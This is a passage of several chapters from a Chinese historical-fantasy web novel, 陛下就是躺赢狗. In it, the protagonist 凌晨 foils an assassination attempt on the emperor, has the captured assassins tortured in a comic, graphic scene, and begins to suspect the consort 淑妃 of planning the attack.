后方营盘中升起的滚滚黑烟遮天蔽日,火光映入瞳孔,同时映入眼帘的还有敕勒和突厥的骑兵。他们浑身是血,看起来有些疲惫,但眸子中的狠厉与阴冷却比荒野上的寒风更加凉意袭人。 这章没有结束,请点击下一页继续阅读!兵败如山倒。 芝伏罗在心腹大将兀儿的拼死保护下才从云中军的包围拦截中冲了出来,可对方又迅速集结,继续追了过来,根本不给他们收拢残兵败将、整军再战的机会。 无奈之下,芝伏罗只能慌张的奔逃,一路向西。 云中军追了几天就不追了,他们的目的就是阻止高车部统一草原的野心和步伐。土兀剌河一战,高车已经丧失了这种能力,他们已经完成了战略目标,该回家了。 其实有时候,芝伏罗还是挺希望云中军不要放弃,继续追自己的。因为他们只会把自己抓起来带回去关进铁笼,当奖杯四处炫耀,大概率是不会要自己命的。 而敕勒和突厥,尤其是突厥人,那是恨不得把自己五马分尸啊!要是被他们追上堵住的话,这辈子绝对有了~ 还有那些收编的俘虏降卒、假意归顺的部落首领,趁机想取而代之上位的下属,简直是举目皆敌。 而高车部的主力死的死,伤的伤,被打乱的还没聚拢,被击散的也没回来。芝伏罗身边只有两千多人,根本不敢停下脚步,在冰天雪地的大草原上上演着真人版的神庙逃亡。 一想到李遗景这会估计都已经在自己老家吃干抹净了,芝伏罗就没来由的一阵心悸,也不知道那老家伙有没有霍霍自己的老婆和女儿,唉! 汴京收到这个消息后,心中的大石头终于落下了。 凌晨一共凑了二十一万两白银,其他各个权贵、望族、富商巨贾加起来有三十多万两。五十万两白银完全足够大郑渡过空窗期了,等到十一月份的时候把赋税征收上来,便能高枕无忧。 再过个两三年,大郑把西川彻底消化、攒够了启动资金,就可以考虑收购总部位于金陵的李唐集团有限责任公司,一路通关了。 可是,外部的威胁被解除了,内部的威胁却悄然临近。 喜欢陛下就是躺赢狗请大家收藏:()陛下就是躺赢狗更新速度全网最快。 第202章 招笑 尽管大家的关系已经好到尽在不言中了,但毕竟是掏出了二十万两银子来解决燃眉之急,老文觉得还是有必要把凌晨从被窝里拖出来,聊聊天巩固一下感情的。 皇帝陛下指定是有点那个什么的,清秋寒露的时节,不说在宫里围着火炉吃点好吃的,再找几个年轻貌美的宫女添杯续盏,舞一曲《霓裳羽衣》或者《胡旋》、《剑器》之类的,非要在金明池的水榭旁钓鱼。 (你不是说弱水三千,只取一瓢……) 我说是我说,你做是你做,我想要的是年轻妹子吗?我要的是你的态度! (……) 当凌晨来到约定的地点时,刚好是黄昏。金明池富丽堂皇的街道上,华灯初上,微寒的天气并没有驱散人们逛街采买的热情,行人穿着袄衣罗裘,在侍女和随从们的陪同下进出店铺,流连忘返。 这里是汴京中心CBD,属于高档消费场所,有些地方连凌晨都不敢进去,里面的东西贵的吓人,真心消费不起。 御林金卫们布满了水榭周围的廊柱、树下和草丛,远处的湖面上也禁止游船航行,整个金明池都被秋雾和霜露所笼罩,近处无声,远处无人。 水榭靠近金明池的那一侧延伸出一条百米长的钓鱼台,高出水面两米多,两侧全是碎石汀步。水榭檐角的灯笼随风飘舞,亮堂明净,但钓鱼台这边却昏暗无灯,天地间只有一人。 老文穿着一身锦裘,脖领间的黑狐绒毛被寒风吹的偏向一边。他坐在一个竹编藤椅上,握着一杆通体黑红的杆子,长长的伸入湖面里,颇有一种独钓万古的意味。 凌晨和立在柱子下的何关互相点了一下头后,独自背着手,缓缓走向钓鱼台尽头的落寞背影。 小火炉里的炭火烧的正旺,偶尔还会飞出几粒火星,上面架着的紫砂壶正在冒着热气,从里面飘出一股清新淡雅的茶香。旁边还摆着一个藤编的小桌子,上面有两三个茶杯,还有一小盒茶叶。 紫砂壶是拿来这么烧的吗? 满脑袋问号的凌晨坐在了一旁的藤椅上,自顾自的折起布巾,抓住小火炉上的沸茶,给老文重新续上,又给自己也倒了一杯。 “陛下,此处晚风吹袭,当心别再感了风寒。” 正在思索事情的老文听到凌晨的话后,原本游离的目光渐渐聚焦,回过神来扭头看向他,淡淡一笑:“放心吧,朕虽然年纪大了,但身体还没那么孱弱。” 那倒是,吃了那么多毒菌子还没嘎,说白了,身体素质这一块,棒棒哒。 不过这些话也只能自己腹诽一下,要是说出来,让他联想起皇后就不好了,连带着自己也尴尬。 “陛下今日怎么有雅兴钓鱼了?现在天气寒冷,鱼都潜进水下深暖处,怕是不好上钩。” “钓的上来钓不上来,都不打紧。” 凌晨听后似懂非懂的点了点头,非常自然的靠在藤椅背上,翘起二郎腿,悠闲地晃着靴子,哼着《踏浪》看向远处的湖面。 “这次又辛苦你了,二十万两,凑起来不容易。” 老文眯着眼睛看向远处,眼角的皱纹清晰可见,后背也微微有些佝偻,表情轻松惬意,但是凌晨总能感觉到一股淡淡的愁意。 他还能愁啥?有啥可愁的? “我的一切都是陛下给的,不过是在需要的时候还给陛下而已。再说了,我跟柠儿都不是喜好奢华的人,有个房子住,有饭吃就行了,银子多少,都一个样。” 老文听的点了点头,再没有言语。 对凌晨说一声“你辛苦了”表明他的态度,就足够了。 多的,凌晨不需要,他也没必要。 “不过说起来……陛下,这么晚了,咱爷俩坐这里喝茶钓鱼真的好么?” 老文听的顿时露出一股嫌弃之色:“你懂什么?人生五大雅事,焚香、品茗、垂钓、抚琴、对弈,哪一个不是君子雅好?” 啊? 是这样吗? 凌晨顿时就有些不服气了,弱弱的回道:“可……可据我所知,不是这样的……” “嗯?”老文也被勾起了兴趣,好奇的扭头问道: “那你说说,还有什么雅事比得上这些?” 凌晨舔了舔下嘴唇后,伸出手指扳着指头说道:“应该是赏花、卸甲、攀峰、探幽、插花、弄玉、观潮、焚香才对,八大雅事也是双数,好听。” ? 单纯的老文皱着眉头思考了一下,回味着凌晨的话。起初不解其意,突然醒悟过来,一双老眼先是恍然大悟的微睁,而后眯了起来,眼神不善的看向凌晨的脸,又慢慢转向他的腹下。 “你再这般没大没小,信不信朕让你只能做别的,偏不能插花?” 凌晨原本翘着的二郎腿立刻就放了下来,两腿并齐夹紧,一脸无辜的说道:“这不是我说的,韩登说的。” 秦王府里,正在和下人侍卫们围在一起押注摇骰子的韩登突然鼻子一痒,“啊…啊……啊欠!!” 老文有点生气。对,就是生气,绝对不是酸或者嫉妒: 这章没有结束,请点击下一页继续阅读!“朕好歹是你的长辈,不能这么乱开玩笑……” “哦~我知道了。这不是为了逗陛下一乐嘛~陛下似乎……有心事?” 老文抿了抿嘴唇,龙须动了动,叹着气说道:“朕还是老心病,担心自己活不到平定李唐的那一天。朕虽然勘定了中原,又拿下西川,但朕真正的心病还是江南。” 老文缓缓地深呼吸了一口气,眼中满是回忆之色: “当年朕的父亲还在时,汝南文家就已经在跟江南对垒了,五六十年的恩怨,成百上千的人命都填进去了,到头来,谁也没落着好。 朕记得他走时,握住朕的手,眼里满是不甘和遗憾。这一转眼,朕也老了……只希望能在有生之年,将这桩纠缠了大江南北两三代人的恩怨给了了,不要留给后人。 要让江南士民对中原的怨念,都随着朕的棺材一起入土。以后亲如一家,互通往来,再无嫌隙才是。如此,朕也能安心的合上眼,下去之后对父亲也有个交代。” 凌晨一言不发的听完,沉默无言。 单凭这句话,就算没有自己,老文也会统一天下的。 “陛下的心胸和格局,实在让人钦佩。江南士绅百姓,迟早会明白陛下的心意,与其他各地百姓一样,归于一家的。” 老文听后不置可否,只是微微一笑,又叹了一口气。 凌晨出言安慰道:“陛下,恕我说句大不敬的话,就算陛下看不到那一天,我也会辅佐着后继之君,完成陛下的心愿。您知道的,我一向说到做到。” 老文笑着看了看凌晨,瞬间就觉得好像确实问题不大,但那股心底的执念却无法消散。不过这种事也只能是尽人事,听天命了。 “陛下,其实您完全不用担心还没有发生的事。您自幼习武,身体底子本就好。只要再保持心情舒畅,不要劳心劳累,再活个二三十年不成问题。” “哈哈哈哈~~再活二三十年都古稀了,照你这么说,真到了那时候,朕还管什么江南,怕是满脑子都想着活过百岁,做第一个百岁皇帝。” “那谁知道?万一呢?” 一老一少对视一眼,放声大笑起来—— “哈哈哈哈~~” “哈哈哈~~” 笑着笑着,凌晨猛的止住了笑容,看向已经完全暗下来的湖面,借着远处的灯火,隐约能看到被风吹皱的涟漪,闻到扑鼻的鱼腥味水汽。 好像一切都平静如常,但是,怎么说呢…… 有点掉帧。 他立刻用布巾抓住小火炉的黑铁提手,站起身来,眸子在水面上不停的扫视。 老文见他这个样子,也放下垂竿,缓缓站起身来,背着手向着水榭那边走去。 “噗!!” 平静的水面猛的翻起巨大的水花,一个敏捷的黑影从水中探出身子来!他刚要举起手中的手弩瞄向岸边的人影,突然就看到一个火星子飞溅的什么玩意在自己眼中放大! 卧槽…… 这是开了吧?我没漏啊…… “啊——!!” 滚烫的炉身夹杂着火星和炉灰径直砸在了他的脸上,那股强烈的灼烧感立刻从额头皮肤传来,眼睛也不小心混入了飞灰,疼的他忍不住呼喊起来,下意识的伸手去拨脸,结果又掉下去呛了好几口湖水。 凌晨看着他身子向后退去,继而转身扶着老文的胳膊,带着他快速走向水榭。钓鱼台两边水花四溅,水中又钻出十几道身影,纷纷举起手中的手弩瞄向凌晨和老文。 “嗖嗖嗖~~” 凌晨一把按住老文的脖子就把他的身子压了下来,两人弓着身子卡住钓鱼台的死角躲避箭道,快速朝着水榭小跑而去。 远处的何关早就注意到了异常,立刻大喊着招呼御林金卫们冲了过来。他们将殿帅和陛下围在中间,挥舞着手中的刀拨掉射来的弩箭,一边挡着一边往水榭里退去。 其他的御林金卫也纷纷掏出手弩,朝着水中的黑影射去,一时间到处都是弩箭在飞,破空声和溅水声此起彼伏。 老文被众人护在中间,一边走一边冷声喝道:“留活口!把他们拉上来!拉上来!!” 直到把他护进水榭中后,凌晨这才松了一口气。 妈的什么玩意?这怎么还有蛙人部队呢?这谁的手下?水里憋这么久咋没把这群鳖孙给憋死呢! 二十几名御林金卫齐齐冲到钓鱼台上,和那些互相借力翻上来的黑衣人缠斗在了一起。 就在这时,水榭四角和屋檐、柱子上挂着的灯笼都被弩箭射落射灭,漆黑的四周又响起了脚步声和弩箭凌空的声音。 “呃~” “啊!” 许多御林金卫从明亮的环境突然转入昏暗中,眼睛瞬间失明,又不能趴下躲避去让凌晨和老文挨箭,就只能张开双臂互相围成一团,把他们护在中间送出水榭。 这期间,他们用身体硬接了那些弩箭。 来到街道上后,更多的御林金卫提着灯笼和火把赶了过来,将老文和凌晨接过去用盾牌挡住,先前中箭的那些金卫们才瘫倒在地上。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!同袍们立刻将他们拉起来扛在肩膀上,一起护着陛下往停在路边的马车上走去。 到了马车边,凌晨却伸手拦住了他们,自己先跳上去仔细检查了一遍车里,又跳下来看了轮子和车辕、马匹。确认没有问题后,这才推着老文的屁股把他塞进了马车里,叫何关带人护送着老文快速离开这里。 逆天了嗷! 在大郑帝国的心脏汴京,刺杀这个国家的皇帝陛下,这帮人胆子不小啊,而且估计还是死士,出手后就没想过能活着。 不行,必须弄晕一个抓起来,把他背后之人问出来! 你杀老文就算了,我能理解。可刚才的弩箭乱飞,明显没有想着避开我,我特么招你惹你了? 你别让我逮住了,逮住了有你好果子吃! 就在凌晨被一群金卫用盾牌护在路边,等待着水榭里和钓鱼台上的战斗结束时,兵器碰撞的声音不断传来,偶尔才会响起一两声惨叫。听声音,双方武力似乎不相上下…… 凌晨皱着眉从身边一个金卫手中夺过他的刀,推开挡在自己身前的金卫们,提着刀就下了场。 斗鸡呢?磨磨蹭蹭的! 黑暗中,一道十分嚣张、并且还夹杂着些许不耐烦的声音不断响起,将所有人都喷的体无完肤—— “让你们宰个刺客不是刮风就是下雨,慢慢吞吞的,平时的白米饭都给狗吃了?!” “小兔崽子,真以为黑灯瞎火后惨叫的会是我啊?” “亮着灯笼害怕打不过,难道熄了灯就是我的对手了?” “行刺之前怎么不先打听清楚,你们以为老子的殿帅是花银子买来的?啊!” “你往哪看的?你爹在这呢!嗯?不是老弟你真信啊?” “要不是这帮废物半天都解决不了,你们连和我交手的资格都没有!” “听声辨位都不会,你这种身手是怎么敢跑出来招笑的?啊?” “老子在问你话呢,叫妈妈有什么用?回答我!” 半盏茶的功夫后,唠唠叨叨的骂声才停了下来。 “砰!砰!” 两个浑身湿漉漉的黑衣人被摔倒在街道边的石阶下,生死不明。 喜欢陛下就是躺赢狗请大家收藏:()陛下就是躺赢狗更新速度全网最快。 第203 动刑 开封府衙的大牢,分内外两部分,呈“回”字形结构分布,有点像五角大楼那种布局。 如果你杀人放火、奸淫掳掠、诽谤辱骂他人、随地大小便或者趁着天黑人少的时候,偷偷往路边倾倒垃圾。那么恭喜你,你可以进入外圈的大通铺或者小黑屋,吃上一口大郑皇粮了。 但如果想要进入最中心的区域,那你还得更努力点才行。因为这里是VIP等死区,不造成巨大的损失和恶劣的影响,是进不去的。 当年将开封城升级为汴京时,凌晨曾给冯延提过建议,他认为外圈可以正常修,但内圈不用修的多么坚固和复杂,也不需要驻防太多人手,毕竟林子大了什么鸟都有,堡垒很容易从内部攻破。 那么,怎么才可以在不需要太多人的情况下,还能保证VIP住户的人身安全和生活私密性呢? 简单,把内圈墙修成迷宫就行了,单独整一条可以出去的路。关押犯人时,先让他一只手先捏着耳朵、另一只手指着地面左转十圈,右转十圈,再把眼睛蒙了,丢独轮车一路癫进去,偶尔停下来把车原地转几圈。 这一通下来,丫要是还能记得路,那特么就不可能被抓进来。 这种迷宫,里面的人出不来,外面的人进不去。如果没有管理人员领路,除非长双翅膀飞起来,否则就是徒增笑尔。 阴暗的牢狱里腥臭难闻、污秽不堪,怎么能让尊贵的殿帅大人进去提审呢?于是侯明就在宽大的放风土场上搭起棚子,笑着给凌晨倒果酿。 四个光着膀子的大汉拖着凌晨昨晚在水榭里爆出来的火焰刀和七级甲从牢狱里走了出来。两个小赤佬的嘴巴上满是血迹,藏在牙里的毒囊连同上下两排牙齿都被敲掉拔了出来,防止他们来个咬舌自尽。 开封牢狱兼职牙科业务,拔牙技术绝对是大郑一流,其中一位折磨了多年的智齿都被他们给挖了出来,顺带瘦脸的那部分不取收任何费用。 两个小刺客被牢牢绑在十字木架上,嘴里塞着不知道谁的裹脚布,身上还穿着昨晚的夜行衣,正在用愤恨和略带忌惮的目光盯着凌晨跟侯明。 两鬓和胸口全是浓密黑毛的狱卒抬来一口大黑锅,里面熊熊燃烧的炭火中,插着各种形状的烙铁。有三角的、椭圆的、带有文字刺青的常规类,还有凌晨建议的爱心、五角星、猫爪垫等可爱类。 还有一款类似广西之根的,是开封大牢的镇狱之宝。 有些硬骨头怎么烫都不吱声,但当他们看到广西之根形状的烙铁后,短暂的懵逼一下,直接就怂了。911是他策划的,俄乌战争是他挑起的,王寡妇的肚兜是他偷的,问什么招什么。 招了大不了就是一死,要是把这玩意印在脸上,就算能出去,那也不想活了。 “啪!!” 两个狱卒将鞭子蘸了盐水后,各自在空中甩出爆音,熟悉了一下手感,然后便走到这两名刺客面前立定,凶神恶煞的盯着他们,等着凌晨和侯明发话。 “噗~” 吐了枣核后,凌晨一只手捏着剥到一半的核桃肉,另一只手指着他们慵懒的说道:“那个谁,把他们嘴里的破布摘了。” 两名狱卒立刻走上前去,将刺客嘴里的脏布团扯了出来,丢在了地上。 凌晨继续低下头用手指仔仔细细的剥着核桃肉上的黄皮,开口问道: “说吧,为什么行刺?谁指使的?不要浪费大家的时间,早说早轻松,免得死前还要受皮肉之苦。” 两个刺客都低着头,一言不发。 “嗯~意料之中,都是英雄好汉呐!那这样吧,我做主,你们谁先招了,我放他滚蛋,还给一万两银子。” 依旧是沉默无言。 凌晨将剥好的嫩核桃丢进嘴里,又脆又甜,还没有干核桃的那种苦皮味,嗯~~真好吃。 “你们可能不认识我,但应该都听说过,我叫凌晨,大家都叫我殿帅。我说话一向作数,哪怕你们行刺陛下犯了诛九族的死罪,我也能让陛下免除。机会给到你们,能不能抓住,就看你们自己想不想活了~” 两名刺客听后,面色顿时复杂了起来。 他们当然知道凌晨,也知道凌晨说的是真的。他们也想活,但如果活了下来,家里人就遭殃了。相反,他们如果死了,还有人照顾家人余生。 不听不听,王八念经! 继续闭麦。 “耶?这么硬啊?” 凌晨左手抓起一把干西瓜籽,右手捏住一颗放进嘴里,嗑着站起身来走到炭火锅前,拿起一根被烧的通红的烙铁,摇了摇头。 这玩意烫身上估计会很疼吧? “哎~你们俩,先给二位好汉松松筋骨,今日无事,咱们慢慢陪他们玩~” 两个狱卒闻言齐齐转身朝着凌晨抱拳称是,而后便狞笑着转过身子,举起手中的鞭子,破空声立刻响起—— “啪!!” “啪啪!!” “啊——!!” “呃!!” 几鞭子下去,两个刺客的衣服直接被抽破了,里面的皮肤瞬间由黄变红,紧接着肉眼可见的泛出青紫色,绿色的淤边渗出不正常的鹅黄色,应该是皮肤受到剧烈抽击后生出的保护脓水。 本小章还未完,请点击下一页继续阅读后面精彩内容!再来几鞭子,直接皮开肉绽,鲜血清晰可见。 凌晨回到凉棚里坐好,指着面前对侯明说道:“老哥哥,还是你手底下的人专业啊,这都是练家子的功夫,要是换了我去抽,能不抽到自己就不错了,哪能这么虎虎生风呢~” “哈哈哈~贤弟过谦了,他们都是粗苯的人,空有一身蛮力,就是些不入流的小伎俩。无他,惟手熟尔~” “哈哈哈~~” 他俩嘻嘻哈哈的笑着聊天,俩倒霉刺客疼的呲哇乱叫,哭爹喊娘。 他们不怕死,但怕疼呐! “哎等会等会,”凌晨见打的差不多了,伸手制止了两个狱卒: “用葫芦瓢舀上盐水,泼到他们的伤口上。哎,不要乱泼啊,精准的泼到伤口上。” “是!!” 下一刻,杀猪般的惨叫声再次响起—— “啊——!!” “狗贼!你……啊——!!” 嗯,看来是受过专业训练的,确实很硬。 “好了可以了,别泼了,盐也是要钱的。把他们的脚脖子松开,放俩凳子上去,让他们坐下来。” 狱卒们虽然不解其意,但坚决执行。立刻就上去把两个刺客脚腕上的麻绳解开,抬着凳子放在他们屁股底下,合力按住,把他们的腿脚死死的绑在了凳子上。 凌晨从一旁撅了根扫帚杆,不太满意,又随手丢了,左顾右盼的找了半天,眼睛一亮,跑到凉棚边,把挂在上面的蒲扇取了下来,兴冲冲的倒握着来到了两个哀嚎的刺客身边。 他左右看了看,两人长的都挺合眼缘的,还挺难选择,于是只好使出秘密法决—— “小公鸡点到谁我就选谁,哎!就你了!你先来,真幸运!” 笑嘻嘻的对着咬牙切齿、眦目欲裂的刺客调侃一句后,凌晨又对几个狱卒说道:“把他鞋脱掉,按住喽~” “是!” 四个壮汉先将长凳牢牢卡在地面上的木板里,又合力按住刺客的双腿,把他的鞋子扯下来丢飞。 凌晨嘿嘿笑着弯下腰来,用蒲扇握把不轻不重的挠起了他的脚底板。 “呜——啊哈哈…狗贼!你不得……啊哈哈哈……哈哈哈哈……你娘啊哈哈……” “哎哎哎~哎哎哎~哎嘿嘿,真好玩~” 凌晨玩的不亦乐乎,时而低头看看他的大脚板,时而抬头看看刺客的小表情。不知道为什么,对方拼命挣扎的扭曲表情,让他心里没来由的一阵暗爽! “杀了我!!杀了我!!啊……” “砰!砰!砰!” 刺客被挠的浑身难受,使劲挣扎着,甚至开始用头猛撞脑袋后面的木头柱子,立刻就被一个狱卒蛮横的用破布死死缠住脑袋,绑紧在了柱子上。 “杀你?不不不,小宝贝儿~我怎么舍得呢?这才刚开始呦~我还有好多招数没使出来呢!别急别急,我有的是时间和耐心~” “啊…啊哈哈……啊哈啊…啊哈哈啊……” 站在凌晨身后的侯明忍不住吸了一口凉气,敲!当年老子还派刘文越去抓过凌贤弟呢!幸亏他当时玩心大起肯陪着自己玩,要是那会心情不好,自己怕是…… 一念及此,侯明瞬间感觉自己牙齿好酸。 有时候,笑真能死人,这名刺客在挣扎了许久后,不知道因为什么原因,两眼一翻直接昏过去了。 凌晨不信邪的又挠了一会,万一他是装的呢?打算强忍着不动,就能躲开受刑了。 试探了一会后,发现对方确实不动弹了,他这才恋恋不舍的直起身子。狱卒们也松着气放开了刺客的腿。 殿帅大人叹着气摇了摇头,可是下一刻,脸上又浮现出古怪的笑容,扭头瞥向了另一位幸运儿。 四五个光着膀子的狱卒也齐齐顺着他的目光看了过去。 那名刺客被吓的浑身一颤,嘴巴微抖着张了张,立刻哭了起来—— “饶命啊大人!我就是个渔夫,大字不识一个,连数数都不会!有人给我两百两银子叫我来杀人!他给的实在太多了,所以我才铤而走险的,我真的不知道那是当今陛下啊!!” 凌晨将手里的蒲扇一丢,双手按在空中柔声示意他稍安勿躁:“quiet,quiet,既然你是不知情的,那不知者不怪,我就再小小的惩罚你一下就好。” 说罢,他扭头对着一个狱卒挤了挤眼睛,暗中伸出手指示意道:“再送十鞭子,给这位贵宾压压惊。” 狱卒会意点头,冷哼着走下去重新拿着鞭子上来,劈头盖脸的又是一顿二十连抽!! “啊!!啊!!大啊……大人,不是说好只抽十鞭子吗??” 凌晨张着嘴巴惊喜的用手指向他——“啊哈!被我发现了吧?你不是不识数么?” “呃……” 刺客微微一愣,随即露出懊恼的神色,继而咬着牙恨恨说道:“你别白费功夫了,我们嘶……我们的家人都被人照看着,我们是绝对不会透露一个字的!” “嗷~”凌晨若有所思的点了点头,但立刻又面色无辜的皱眉问道: 这章没有结束,请点击下一页继续阅读!“可是那关我什么事啊?不管你招不招认,都不妨碍我行刑啊!我今天来主要是享受折磨人的乐趣,又不是要问出个究竟。那就是个由头,免得被林老头抓住把柄说我滥用刑罚,你特么爱招不招~” 刺客闻言面色一僵,难以置信的看着面前抖着身子、吊儿郎当的凌晨:“你……你……” “我先歇会,侯哥,你要不要练练手?” 侯明一直静静的立在凌晨身后,听到他问自己后,顿时露出一副意味深长的笑容:“嗯,我也好久没有亲自操刀了。” 说罢,他便转身走向全是通红炭火的大锅。 凌晨扭头笑着对这名刺客语气轻松的说道:“哎,听说过开封左巡院的名头吗?” 刺客又愤恨又紧张的看了看凌晨的脸,又看向在炭火锅里挑刑具的侯明,说不出话来。 凌晨同情的看了他一眼,啧啧两声,摇着头重新走向凉棚了。 侯明出手,得躲远点,味道很难闻。 “呲——” “啊!!!!!!” 通红的爱心烙铁亲密的贴在本就裂开、还蘸了盐水的伤口处,细肉被迅速脱水后快速烧焦,传来一股难闻的焦臭味。惨叫声响彻在空旷的土场上,刺客疼的浑身颤抖个不停,额头、脖子上的青筋暴起,眼珠子都快要从眼窝里爆出来了。 大郑第一酷吏,你当开玩笑呢? “把他裤子扒了,把那玩意扯出来!” 卧槽?! 疼的欲仙欲死,已经满头大汗的刺客听到这句话后,瞬间清醒过来,连疼都忘记了! 你要干什么?! “别!我招!我招还不行吗?!” 侯明听后冷哼一声,不屑的说道:“谁让你招了?本官还没允许,先憋着,不准招!” 几个狱卒立刻就上前围住,扯着刺客的裤腰往下扒。刺客这是真怕了,连忙大喊大叫起来—— “殿帅!殿帅救我!我招!我什么都招啊!” 凌晨嘿嘿起身走到他们跟前,将两个胳膊搭在侯明和一名狱卒的肩膀上,笑眯眯的说道—— “早这样不就好了?” 喜欢陛下就是躺赢狗请大家收藏:()陛下就是躺赢狗更新速度全网最快。 第204 最不可能的可能 这批训练有素的蛙人是从唐国来的,凌晨派人和礼部对接过了,确实找到了他们的家人和户籍所在地,以及他们祖先的坟包,错不了。 但问题是,布置在唐国各个机构的卧底和细作,根本不知道有这回事。 阎改之也透露出消息,自从上次李岐谋反之后,李雄就已经卧病在床,正在吊着最后一口气,竭尽全力的将朝臣、士民、各地望族都拧成一股绳,推给太子李嘉。 强扭的西瓜虽然不一定甜,但它解渴呀! 现在的唐国处于非常紧张的权力过渡阶段,金陵每天都有人看不到明天的太阳,因此他们比大郑更希望局势能够稳定。为了防止边境不小心制造出摩擦,唐军还特意将边军营寨后退了三十里。 就连一向心高气傲的老将温茂也学会了人情世故,自己在军营里闲着没事晒了两筐小鱼干,派人送给王臣鹤下饭。 寿春知府刘立权劝说王臣鹤不要吃,他担心老温头在鱼干里下毒。王臣鹤却笑着说没事,温老将军何许人也?当世豪杰!岂会用这种小人伎俩? 说完后他还当着温茂使者的面浅尝了一下,嘎嘣脆的嚼咽了一条。 嗯…… 说实话,味道一般。 于是他将自己亲手酿的两坛泰山原浆,还有即墨小舅子送来的驴皮阿胶一起,托使者带了回去,给老将军补补身体。 跑题了跑题了。 总而言之,现在的唐国朝廷绝对不会做出行刺老文的事,完全吃力不讨好,没有动机和理由。 再说了,杀了冷静理智的老文有什么用?有他在,大郑还能考虑实际情况步步为营、稳扎稳打,积蓄实力按流程推进。 要是换了文若上来,年轻人心性冲动、容易脑袋一热不说,还有杀父之仇的buff加持,指不定明天就要祭坛拜将,水军东下了。 况且大郑统一天下又不是因为皇帝一个人的原因,而是局势演变形成的政治惯性。就算没有皇帝,那也照打不误。 大郑承受的起南征失败,甚至可以失误很多次,但唐国不行。 侯明把那俩刺客折磨的死去活来,对方也只说是一个唐国的大人物豢养了他们,给妹子、分房子、发银子、帮他们供孩子,从来没有见过人,平时都是一个胖员外联络他们的。 对方养着他们过了十几年的好日子,才求他们这一回,那还说个啥?干呗~ 就这样,没别的了。 政治目的也不对,李岐已经彻底废了,唐国各大势力就算再怎么不愿意,也只能进入李嘉的帐下讨生活。在这个时候挑起郑唐两国之间的大战,谁都落不着好。 文若也不可能,作为朝臣依附、外将宾服的东宫太子,下面都人已经押注了他,最重要的是上面的老文也对他十分满意。四个2带俩王,JQKA全在他手里,只要不是吃错药了,绝对不会干这事儿。 皇后和周家早已失势,文初虽然还活着,但政治生命已经结束,就算他怨恨到心理扭曲,也不会在这个时候派人来杀老文,因为这样只会帮文若更快的登基,毫无意义。 皇后和赵王殿下应该比任何人都希望老文活得久才是,只有这样才能用时间去抚平伤疤,寻找到合适的时机东山再起。 如果说是仇家来寻,那也不对。 孟玄还在汴京住着,西川要是真有效忠他的死士,第一步要做的应该是把他救出去,而不是射杀老文,那不是在帮孟玄催命吗? 而且他是自己投降的,从成都到汴京的路上都没出现过劫车的事件,到了汴京才做这种事,完全说不通。 其他敌对或者被消灭的势力都在北方,哪有能力在十几年前就从唐国布局?文家经营长江北岸多年,都没这种手笔。 凌晨这一圈摸下来,懵了。 所有有能力组织这次刺杀行动的人,都没有动机。 奇了怪了! 对方是个高手,从一开始就将自己撇的干干净净,早在很多年前,他就已经在策划布局今天的事情了,并且格外注意隐藏自己的行踪,淡化自己的存在。 现在的问题是,风筝已经断了线,想要追回来很难。 看得见,摸不着,望山跑死马。 只能靠推敲了。 临颍郡公府的书房中,挂出一张巨大的墙纸,凌晨握着毛笔在房间里不停的来回踱步,时而低头皱眉苦思,时而沉吟缓缓提笔,一张巨大的图纸被画了出来。 假设老文被成功刺杀为x,未被成功刺杀为y,以刺杀时间为原点,切出四条象限,将所有与他有继承关系和矛盾纠纷的人名通通贴上去。 做完这些后,他将毛笔放在了笔山上,看向了第一象限最接近原点的那个名字—— 淑妃。 一个最不可能的人。 很久以前,凌晨和汝南文府的大管家、冯延的好友谢荣曾经闲聊过有关府中的事情,对这位贤良淑德的阿姨有所了解。后来,她代替皇后协理后宫的消息传来以后,凌晨更是格外关注过她一段时间。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!怎么说呢,她在最美好的年纪嫁入文家为妾,是老文的第三个枕边人,一直以来都是天真烂漫的形象,甚至有时候都有些毫无心机的感觉,因此还被后进入府中的新人刁难着出过丑。 她在豪门大宅里的日子过的并不算好,皇后背后的周家是文家创业时的强力盟友,因此御下很强势。而老文对她的喜爱似乎也一般,并没有格外恩宠或者重点照顾。 前前后后看下来,这就是一个性格温柔的老实女人,在夹缝中求生了大半辈子,最后因为运气好,赶上皇后和周家失势,时来运转成为了临时的后宫一把手。 即便如此,她依旧保持着对皇后的毕恭毕敬。如果没有特殊情况,她都会去皇后的清露宫打卡,还在努力缓和帝后之间的关系,看架势是想在未来文若登基后能做个太妃,安稳的度过余生。 说实话,怀疑她跟此次刺杀事件有关,凌晨都有点觉得自己是不是搞错方向了。 但我们观察一个人,不能去看对方说了什么,立什么样的人设,维持什么样的形象。而是去看对方做了什么,以及一路走来的发展轨迹。 老文的第二个老婆娘家挺牛逼的,但她死了。 怎么死的不重要,反正是死了。 文府当年同样也充斥着你死我活的宅斗,莫名其妙消失的丫鬟和仆人多的是,主子也不少。一个没有心机和城府的人能完好无缺的生存下来,是不是有点哪里不对劲? 淑妃真有那么大的人格魅力,能让一群争风吃醋的女人在疯狂竞争中遗忘她的存在,或者心地善良的放过她这个小白兔? 根本不可能好吧!最先死的就是老实人才对! 来句逆天的发言:我们抛开事实不谈,只论晋升轨迹。比淑妃先进府的人死的死、废的废,比她后进府的人还在争破头的互相伤害,她倒是一步步成为了如今的后宫霸主,这对吗? 其实也可以用她性格好不与人争、运气好天降好运去解释。但还有一点,不得不让凌晨注意到她—— 她的娘家,在寿春府顺昌县,是当地的百年望族。 完全有能力在十几年前,去唐国豢养这次的这批刺客。 想了想后,凌晨将墙上的纸扯了下来,撕成碎片一张张的丢进铜炉里慢慢烧干净。 看来,是时候隐身进宫,偷窥偷窥这位风韵犹存的阿姨了~ 喜欢陛下就是躺赢狗请大家收藏:()陛下就是躺赢狗更新速度全网最快。 第205章 震慑 老文的嫡出子女一共四个,凌晨都见过了,而且还和他们渊源颇深。 个人认为,文若和文鸯培养的比较成功。老二文初如果做个闲散王爷或者一心一意辅佐大哥的话,其实还是可以的,奈何他分不清大小王。 有志气是好事,不能说他有竞争意识就是错的,谁规定先出生的人就要拥有一切?但棋走昏招就是他自己的不对了。 文鸯挺好,反正凌晨看着很满意,是个标准的世家小姐。言行举止得体适中,能大声笑呸也能温婉娴静。谁运气好娶了她,这辈子只要不造反,一定能好好体验一趟人间之旅。 文瑶…… 很难评,小姑娘挺活泼可爱的,以后估计有文若头疼的,得给她找个能包容她小脾气的驸马。但有资格娶她的,谁还不是家里的小世子小侯爷了? 以她的双商,大麻烦应该不会有,但小麻烦肯定会层出不穷。 